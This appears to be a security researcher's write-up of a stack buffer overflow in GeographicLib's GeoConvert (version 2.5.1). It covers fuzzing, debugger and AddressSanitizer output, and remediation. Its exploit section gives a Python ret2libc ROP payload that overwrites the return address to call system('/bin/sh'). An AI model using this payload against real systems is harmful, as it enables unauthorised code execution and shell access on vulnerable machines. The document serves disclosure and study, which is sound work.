Technical Analysis
The vulnerability stems from improper bounds checking in GeographicLib when processing specific inputs. This can lead to a stack buffer overflow, causing a Denial of Service of the application and potentially allowing code execution.
An attacker could also exploit this vulnerability to hijack the program's control flow using a ROP Chain by overwriting a return address to point to a libc function (ret2libc) and perform code execution.
Tested on Kali Linux 6.12.25-amd64 (Virtual Machine)
Geographiclib version: 2.5.1
Detailed analysis, PoC, and mitigations are covered here.
Introduction
GeographicLib is a C++ library used for many tasks, including:
- geodesic and rhumb line calculations;
- computations on a triaxial ellipsoid;
- gravity (e.g., EGM2008) and geomagnetic field (e.g., WMM2020) calculations;
- conversions between geographic, UTM, UPS, MGRS, geocentric, and local cartesian coordinates (GeoConvert);
And it is this last component that the vulnerability focuses on.
I built the program with the makefile provided by the repository as it is.
Then, I used the AFL++ fuzzer to generate crafted payloads to study GeoConvert's behavior when it receives specific inputs.
After about 24 hours of fuzzing, I decided to stop it and look at the output directory listing all the inputs that generated SEGFAULT and crashed the program.
In a program written in C/C++, memory management can be critical, and it is not unusual to find memory corruption vulnerabilities.
An input that crashes the program with a Segmentation Fault can be very interesting to analyze and worth investigating to see what is happening.
Crash analysis
After reproducing the crash, I decided to analyze it with the GDB gnu debugger.
matt@kali:~$ gdb --args GeoConvert < crash
[...]
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x1
$rbx : 0x1
$rcx : 0x00005555555b1d10 → 0x00005555555a99d2 → 0x0073656572676564 ("degrees"?)
$rdx : 0x1
$rsp : 0x00007fffffffce08 → 0x0000555555585ec8 → , std::allocator > const&, GeographicLib::DMS::flag&)+1e68> mov r14, rax
$rbp : 0x3
$rsi : 0xe
$rdi : 0x1
$rip : 0x00007ffff7b71119 → vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi]
$r8 : 0x00007ffff7bf1ac0 → 0x0000000000000000
$r9 : 0x1
$r10 : 0x6
$r11 : 0x0
$r12 : 0xa
$r13 : 0x11
$r14 : 0x00005555555b2508 → 0x00005555555b7800 → <__afl_area_initial+0000> add BYTE PTR [rax], al
$r15 : 0x00007fffffffceb0 → 0xffffffffffffffff
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffce08│+0x0000: 0x0000555555585ec8 → , std::allocator > const&, GeographicLib::DMS::flag&)+1e68> mov r14, rax ← $rsp
0x00007fffffffce10│+0x0008: 0x00007fffffffce54 → 0xffffd19800000000
0x00007fffffffce18│+0x0010: 0x00007ffff7c091e8 → 0x0000000000000000
0x00007fffffffce20│+0x0018: 0x00007ffff7fc0788 → 0x00007ffff7ffe310 → 0x0000555555554000 → jg 0x555555554047
0x00007fffffffce28│+0x0020: 0x0000000000000006
0x00007fffffffce30│+0x0028: 0x0000000000000000
0x00007fffffffce38│+0x0030: 0x00007fffffffce48 → 0x00005555557cb300 → 0x00005555555b1c30 → 0x00007ffff7e56be8 → 0x00007ffff7cb4230 → <__cxxabiv1::__si_class_type_info::~__si_class_type_info()+0000> endbr64
0x00007fffffffce40│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7b71109 and eax, 0xfff
0x7ffff7b7110e cmp eax, 0xfe0
0x7ffff7b71113 ja 0x7ffff7b71250
→ 0x7ffff7b71119 vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi]
0x7ffff7b7111d vpmovmskb eax, ymm1
0x7ffff7b71121 test eax, eax
0x7ffff7b71123 je 0x7ffff7b71180
0x7ffff7b71125 tzcnt eax, eax
0x7ffff7b71129 vzeroupper
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "GeoConvert", stopped 0x7ffff7b71119 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7b71119 → vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi]
[#1] 0x555555585ec8 → std::char_traits::length(__s=0x1 )
[#2] 0x555555585ec8 → std::__cxx11::basic_string, std::allocator >::basic_string(this=0x7fffffffcea0, __s=0x1 , __a=)
[#3] 0x555555585ec8 → GeographicLib::DMS::InternalDecode(dmsa="77777'777:::::::::", ind=@0x7fffffffd1e4)
[#4] 0x5555555827de → GeographicLib::DMS::Decode(dms=, ind=@0x7fffffffd27c)
[#5] 0x55555558e47e → GeographicLib::DMS::DecodeLatLon(stra=, strb="\036.", lat=@0x7fffffffd698, lon=@0x7fffffffd6a0, longfirst=0xc0)
[#6] 0x555555560803 → GeographicLib::GeoCoords::Reset(this=0x7fffffffd698, s=, centerp=0x1, longfirst=0x0)
[#7] 0x55555555c43d → main(argc=, argv=)
I recompiled the whole project with ASAN flags to check for any memory corruption and I got the message I was waiting for: Stack buffer overflow.
=================================================================
==397936==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fd8710025f8 at pc 0x55fd04b95f7e bp 0x7ffff9a7f7d0 sp 0x7ffff9a7f7c8
WRITE of size 8 at 0x7fd8710025f8 thread T0
#0 0x55fd04b95f7d in GeographicLib::DMS::InternalDecode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&) DMS.cpp:291:22
#1 0x55fd04b8c597 in GeographicLib::DMS::Decode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&) DMS.cpp:178:12
#2 0x55fd04b96ed7 in GeographicLib::DMS::DecodeLatLon(std::__cxx11::basic_string, std::allocator> const&, std::__cxx11::basic_string, std::allocator> const&, double&, double&, bool) DMS.cpp:368:9
#3 0x55fd04b6da24 in GeographicLib::GeoCoords::Reset(std::__cxx11::basic_string, std::allocator> const&, bool, bool) GeoCoords.cpp:35:7
#4 0x55fd04b697c9 in main GeoConvert.cpp:188:11
#5 0x7fd8727f4ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x7fd8727f4d64 in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x55fd04a83a00 in _start (GeoConvert+0x36a00) (BuildId: 79250b7b698dfd6b71946007b7b4be0f1ef38cf2)
Address 0x7fd8710025f8 is located in stack of thread T0 at offset 1528 in frame
#0 0x55fd04b8d75f in GeographicLib::DMS::InternalDecode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&) DMS.cpp:192
This frame has 84 object(s):
[...]
[1504, 1528) 'ipieces' (line 235) <== Memory access at offset 1528 overflows this variable
[...]
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow DMS.cpp:291:22 in GeographicLib::DMS::InternalDecode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&)
Shadow bytes around the buggy address:
0x7fd871002300: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8
0x7fd871002380: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8
0x7fd871002400: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8
0x7fd871002480: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8
0x7fd871002500: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8
=>0x7fd871002580: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 00 00 00[f2]
0x7fd871002600: f2 f2 f2 f2 00 00 00 f2 f2 f2 f2 f2 00 f2 f2 f2
0x7fd871002680: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2
0x7fd871002700: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2
0x7fd871002780: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2
0x7fd871002800: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==397936==ABORTING
This confirms there is a Stack buffer overflow vulnerability! And it is found at DMS.cpp:291; due to an improper validation of the internal index k in the ipieces array, it generates an out-of-bounds write on the stack.
Exploit
Now it's time to see if and how we can exploit it and take advantage of it.
Is the impact limited to a Denial of Service (crash application) or can we aim for something more?
First, I used checksec to see what security properties the GeoConvert binary has:
matt@kali:~$ checksec --file=GeoConvert
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 635 Symbols Yes 4 6 GeoConvert
Based on the output, which showed me the security measures implemented such as "NX protection", I decided to try a return-to-libc attack.
The choice to use this technique is not random, it is often used to bypass the "NX protection", therefore it can be useful and can lead us to a successful exploitation.
In order to launch a ret2libc attack we need three things:
- system() address;
- /bin/sh address;
- exit() address;
Now, in order to exploit it successfully we need to collect them and join all of 'em into a ROP Chain; to build it we're gonna use ROPgadget application.
Having all them combined together, we can build a successful exploit:
# --- REPLACE THE ADDRESSES WITH YOUR OWN ONES ---
pop_rdi = 0x000055555558BEFD
ret_gadget = 0x000055555558A016
system_addr = 0x7ffff7a5d110
binsh_addr = 0x7ffff7bb1ea4
exit_addr = 0x7ffff7a4c340
# --- PAYLOAD ---
offset = 136
payload = b"A" * offset
payload += p64(ret_gadget) # stack align
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(binsh_addr) # "/bin/sh" address
payload += p64(system_addr) # system("/bin/sh")
payload += p64(exit_addr) # exit
By doing so, we're able to overwrite the return address with the system(/bin/sh) and invoke a shell.
A PoC is available at https://github.com/zer0matt/CVE-2025-60751
Of course, modern systems deploy plenty mitigation techniques against memory corruption: ASLR, NX/DEP, PIE, stack canaries and RELRO. Turning a stack-buffer-overflow into reliable code execution requires specific conditions (predictable libc addresses or a memory leak, disabled/absent canaries, or non-PIE builds). And I was able to reproduce it on my environment test, this does not necessarily mean that it's possible to reproduce it on fully patched production builds.
Remediation
The vendor has officially patched the vulnerability by releasing the new version 2.5.2.
If upgrading is not possible, avoid processing untrusted or malformed inputs with GeoConvert and run the program with restricted privileges.